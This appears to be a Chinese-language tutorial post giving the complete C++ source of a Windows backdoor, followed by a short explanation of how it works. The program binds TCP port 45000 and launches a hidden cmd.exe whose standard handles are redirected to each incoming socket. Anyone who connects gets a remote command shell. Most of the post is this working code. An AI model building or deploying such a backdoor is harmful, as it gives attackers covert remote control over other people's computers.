1. 代码编写
这是基于异步套接字的后门, 利用windows提供的WSASocket API函数, 这个API和socket的区别是, 其无需等待收发完成就可以继续执行, 也就是异步的。这可实现不用管道进行收发数据。
代码:
#include <WinSock2.h>
#include <windows.h>
#include <tchar.h>
#define MAXCONN (30)
#define DEFPORT (45000)
HANDLE* g_phClntHandler = nullptr;
SOCKET* g_pSockAry = nullptr;
#pragma comment(lib, "ws2_32.lib")
VOID ClearupSocket(BOOLEAN fCleanupSock = TRUE)
{
if (fCleanupSock)
{
WSACleanup();
}
for (size_t nIdx = 0; nIdx < MAXCONN; ++nIdx)
{
if (INVALID_SOCKET != g_pSockAry[nIdx])
{
closesocket(g_pSockAry[nIdx]);
g_pSockAry[nIdx] = INVALID_SOCKET;
}
if (g_phClntHandler[nIdx])
{
CloseHandle(g_phClntHandler[nIdx]);
g_phClntHandler[nIdx] = NULL;
}
}
if (g_phClntHandler)
{
HeapFree(GetProcessHeap(), 0, g_phClntHandler);
g_phClntHandler = nullptr;
}
if (g_pSockAry)
{
HeapFree(GetProcessHeap(), 0, g_pSockAry);
g_pSockAry = nullptr;
}
}
BOOLEAN InitSocket()
{
WSADATA stData = { 0 };
int iRet = 0;
BOOLEAN fOk = FALSE;
do
{
iRet = WSAStartup(MAKEWORD(2, 2), &stData);
if (INVALID_SOCKET == iRet)
{
break;
}
// 分配线程handle堆空间
g_phClntHandler = (PHANDLE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(HANDLE) * MAXCONN);
if (!g_phClntHandler)
{
break;
}
RtlZeroMemory(g_phClntHandler, sizeof(HANDLE) * MAXCONN);
// 分配socket堆空间
g_pSockAry = (SOCKET*)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(SOCKET) * MAXCONN);
if (!g_pSockAry)
{
break;
}
for (size_t nIdx = 0; nIdx < MAXCONN; ++nIdx)
{
g_pSockAry[nIdx] = INVALID_SOCKET;
}
fOk = TRUE;
} while (FALSE);
if (!fOk)
{
ClearupSocket(INVALID_SOCKET != iRet);
}
return(fOk);
}
DWORD WINAPI ClntHandler(LPVOID pParam)
{
SOCKET hClntSock = (SOCKET)pParam;
TCHAR tzCmdPath[MAX_PATH] = { 0 };
STARTUPINFO stStartup = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION stPi = { 0 };
BOOL fOk = FALSE;
GetSystemDirectory(tzCmdPath, _countof(tzCmdPath));
strcat_s(tzCmdPath, _countof(tzCmdPath) - _tcslen(tzCmdPath), TEXT("\\cmd.exe"));
stStartup.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
stStartup.hStdError = stStartup.hStdInput = stStartup.hStdOutput = (HANDLE)hClntSock;
stStartup.wShowWindow = SW_HIDE;
fOk = CreateProcess(nullptr, tzCmdPath, nullptr, nullptr, TRUE, 0, nullptr, nullptr, &stStartup, &stPi);
if (!fOk)
{
return(-1);
}
WaitForSingleObject(stPi.hProcess, INFINITE);
if (stPi.hThread)
{
CloseHandle(stPi.hThread);
stPi.hThread = NULL;
}
if (stPi.hProcess)
{
CloseHandle(stPi.hProcess);
stPi.hProcess = NULL;
}
return(0);
}
int WINAPI WinMain(HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
SOCKET sListen = INVALID_SOCKET;
sockaddr_in stServerAddr = { 0 };
sockaddr_in stClntAddr[MAXCONN] = { 0 };
int iRet = 0;
DWORD dwThreadId = 0;
int iLenOfAddr = 0;
TCHAR tzBuf[] = TEXT("Backdoor is here!\r\n");
if (!InitSocket())
{
return(-1);
}
do
{
sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
if (INVALID_SOCKET == sListen)
{
break;
}
stServerAddr.sin_family = AF_INET;
stServerAddr.sin_port = htons(DEFPORT);
stServerAddr.sin_addr.S_un.S_addr = INADDR_ANY;
iRet = bind(sListen, (sockaddr*)&stServerAddr, sizeof(sockaddr));
if (SOCKET_ERROR == iRet)
{
break;
}
iRet = listen(sListen, MAXCONN);
if (SOCKET_ERROR == iRet)
{
break;
}
for (int nClntIdx = 0; nClntIdx < MAXCONN; ++nClntIdx)
{
iLenOfAddr = sizeof(sockaddr);
g_pSockAry[nClntIdx] = accept(sListen, (sockaddr*)&stClntAddr[nClntIdx], &iLenOfAddr);
if (INVALID_SOCKET == g_pSockAry[nClntIdx])
{
--nClntIdx;
continue;
}
g_phClntHandler[nClntIdx] = CreateThread(NULL,
0,
ClntHandler,
(LPVOID)g_pSockAry[nClntIdx],
0,
&dwThreadId);
if (!g_phClntHandler)
{
if (INVALID_SOCKET != g_pSockAry[nClntIdx])
{
closesocket(g_pSockAry[nClntIdx]);
g_pSockAry[nClntIdx] = INVALID_SOCKET;
}
--nClntIdx;
continue;
}
send(g_pSockAry[nClntIdx], tzBuf, sizeof(tzBuf), 0);
}
WaitForMultipleObjects(MAXCONN, g_phClntHandler, TRUE, INFINITE);
} while (FALSE);
if (INVALID_SOCKET != sListen)
{
closesocket(sListen);
sListen = INVALID_SOCKET;
}
ClearupSocket();
return(0);
}
2. 原理图
3. 主要原理
后门创建子进程并让子进程继承自己的3个标准句柄, 并将这3个句柄全部重定向到socket上。这个socket是归后门所有的。
如果主控端发来命令, 后门程序从socket收到了命令将其重定向到了stdin中, 由于标准句柄已被cmd.exe继承, 所以cmd.exe收到命令并执行后, 从标准输出和标准错误把结果重定向回了socket, 并通过其传回主控端。
(完)